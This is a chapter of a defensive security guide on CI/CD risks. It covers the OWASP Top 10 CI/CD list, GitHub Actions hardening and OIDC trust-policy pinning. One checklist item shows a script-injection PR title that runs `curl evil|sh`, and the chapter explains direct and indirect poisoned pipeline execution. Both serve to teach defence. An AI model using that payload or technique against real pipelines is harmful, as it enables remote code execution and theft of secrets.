Chapter 12 — CI/CD as an attack surface

How it works

Map the OWASP Top 10 CI/CD Security Risks to concrete controls:

   1 INSUFFICIENT FLOW CONTROL -- code/artefacts reach prod without review
     or gates. -> branch protection, required reviews (CODEOWNERS),
     required status checks, environment protection rules with required
     reviewers for prod, no direct push to main, signed commits/tags.

   2 INADEQUATE IAM -- too many people/systems can change pipelines or
     hold prod creds. -> least-privilege on the CI platform, SSO + MFA,
     scoped GITHUB_TOKEN (default read-only; grant per-job), separate
     identities per pipeline, no shared service accounts.

   3 DEPENDENCY CHAIN ABUSE -- G1 Ch 47 (typosquat, confusion, malicious
     update). -> lockfiles, private registry proxy with allowlist, scoped
     internal names, SBOM + scan (Ch 13).

   4 POISONED PIPELINE EXECUTION (PPE) -- the big one:
       DIRECT PPE:   an attacker who can modify the CI config file in a
                     branch/PR gets their steps run. -> require review of
                     workflow files (CODEOWNERS on .github/workflows/**),
                     don't run untrusted workflow definitions.
       INDIRECT PPE: the CI config is fixed, but it runs files the attacker
                     CAN change -- a Makefile, build.gradle, a test script,
                     a lint config, a `package.json` "scripts" hook, a
                     conftest policy. Opening a PR that edits `Makefile`
                     and having CI run `make` = RCE on the runner.
                     -> pipelines triggered by fork PRs must run with NO
                     secrets and a read-only token, on an ephemeral
                     isolated runner; require approval to run workflows on
                     PRs from first-time / external contributors.

   5 INSUFFICIENT PBAC -- a pipeline can do more than its job (deploy
     anywhere, read all secrets). -> per-pipeline credentials scoped to
     one app/one environment; prod deploy is a separate, gated pipeline.

   6 CREDENTIAL HYGIENE -- long-lived secrets in CI variables, printed in
     logs, over-scoped. -> OIDC federation to the cloud (no static keys),
     short-lived tokens, secret masking, scan logs, rotate, least scope.

   7 INSECURE SYSTEM CONFIG -- outdated CI server, weak runner isolation,
     debug/SSH-to-runner enabled, permissive webhooks. -> patch, harden,
     ephemeral runners, disable interactive debug on protected branches.

   8 UNGOVERNED 3RD-PARTY SERVICES -- every OAuth app / GitHub App / CI
     plugin / marketplace action with repo or org access is trust you've
     extended. -> inventory and review them; least scope; remove unused;
     pin actions to a full commit SHA.

   9 IMPROPER ARTIFACT INTEGRITY -- nothing verifies that what's deployed
     is what CI built from reviewed source. -> sign artefacts (cosign),
     generate provenance (SLSA), verify at admission (Ch 13).

   10 INSUFFICIENT LOGGING/VISIBILITY -- you can't tell what the pipeline
      did or who changed it. -> ship CI audit logs + run logs to your SIEM;
      alert on workflow-file changes, new secrets, new runners, permission
      changes.

GitHub Actions specifics (the patterns generalise to GitLab CI, Jenkins, CircleCI, Buildkite):

   [ ] `permissions:` block in every workflow, default `contents: read`;
       grant `id-token: write`, `packages: write` etc. only per-job.
   [ ] NEVER use `pull_request_target` with a checkout of the PR head and
       then run its code -- that runs untrusted code WITH the base repo's
       secrets and a write token. If you must label-gate PRs, checkout the
       BASE and don't execute PR code.
   [ ] Script injection: `run: echo "${{ github.event.pull_request.title }}"`
       -- a PR titled `"; curl evil|sh; #` executes. Pass event data via
       `env:` and reference `"$TITLE"`, never interpolate `${{ }}` into a
       `run:` shell.
   [ ] Pin every action to a full commit SHA (`actions/checkout@<40-hex>`),
       not `@v4`. Consider `@v4` only for first-party actions with a
       comment, and use Dependabot to bump SHAs.
   [ ] Ephemeral, isolated runners. Self-hosted runners on PUBLIC repos =
       fork PRs run attacker code on your infra -> use GitHub-hosted or
       ephemeral, network-isolated, single-use runners.
   [ ] `actions/checkout` with `persist-credentials: false` unless you
       need the token for later git ops.
   [ ] Environment protection rules: `production` environment with
       required reviewers + wait timer + branch restriction; deploy jobs
       target it.
   [ ] Restrict which actions can run (org policy: "allow select actions",
       verified creators + an allowlist).

OIDC to the cloud — do it, and pin the trust:

   Instead of storing AWS keys in CI secrets, the workflow requests an
   OIDC token from the CI provider and exchanges it for a short-lived
   cloud role session.

   The cloud role's TRUST POLICY must pin the subject tightly:
     "Condition": {
       "StringEquals": {
         "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
       },
       "StringLike": {
         "token.actions.githubusercontent.com:sub":
           "repo:secureshop/platform:environment:production"
       }
     }
   COMMON MISCONFIG: `sub` set to `repo:secureshop/*` or omitted -> ANY
   repo in the org (or forks, or any branch) can assume the prod deploy
   role. Pin to the exact repo AND ref/environment.